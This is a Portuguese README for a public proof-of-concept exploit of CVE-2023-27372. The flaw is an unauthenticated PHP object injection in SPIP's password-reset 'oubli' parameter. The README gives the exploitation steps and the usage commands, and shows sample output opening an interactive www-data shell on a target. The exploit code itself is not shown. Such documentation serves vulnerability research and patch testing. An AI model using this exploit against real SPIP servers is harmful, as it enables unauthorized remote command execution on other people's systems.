CVE-2023-27372 — SPIP < 4.2.1 RCE não autenticado (PoC)

Vulnerabilidade de execução remota de código não autenticada no SPIP anterior à versão 4.2.1. O parâmetro oubli no formulário de redefinição de senha é vulnerável a injeção de objetos PHP devido a falha na desserialização. Um payload serializado malicioso é executado no servidor como o usuário web, e a saída é refletida de volta na resposta dentro do valor do campo de entrada oubli.

Como funciona

1. Obtém o token anti-CSRF de /spip.php?page=spip_pass.
2. Envia uma requisição POST com um payload serializado PHP injetado no parâmetro oubli.
3. Extrai a saída do comando do atributo value refletido na resposta.
4. Loop para execução interativa de comandos, atualizando o token CSRF a cada requisição.

Requisitos

• Python 3
• Instalar dependências:

python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests beautifulsoup4 prompt_toolkit

Uso

python3 exploit.py -u http://TARGET/spip

Exemplo:

$ python3 exploit.py -u http://10.10.10.10/spip
[*] Fetching anti-CSRF token...
[*] Testing command execution...
[+] Target is vulnerable! Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Shell opened. Type 'exit' or Ctrl+C to quit.

Shell> whoami
www-data

Referências

• CVE-2023-27372
• PoC original por nuts7
• Notas de lançamento do SPIP

Créditos

• Descoberta e exploit original: nuts7
• Limpeza e shell interativo: Esteban Zárate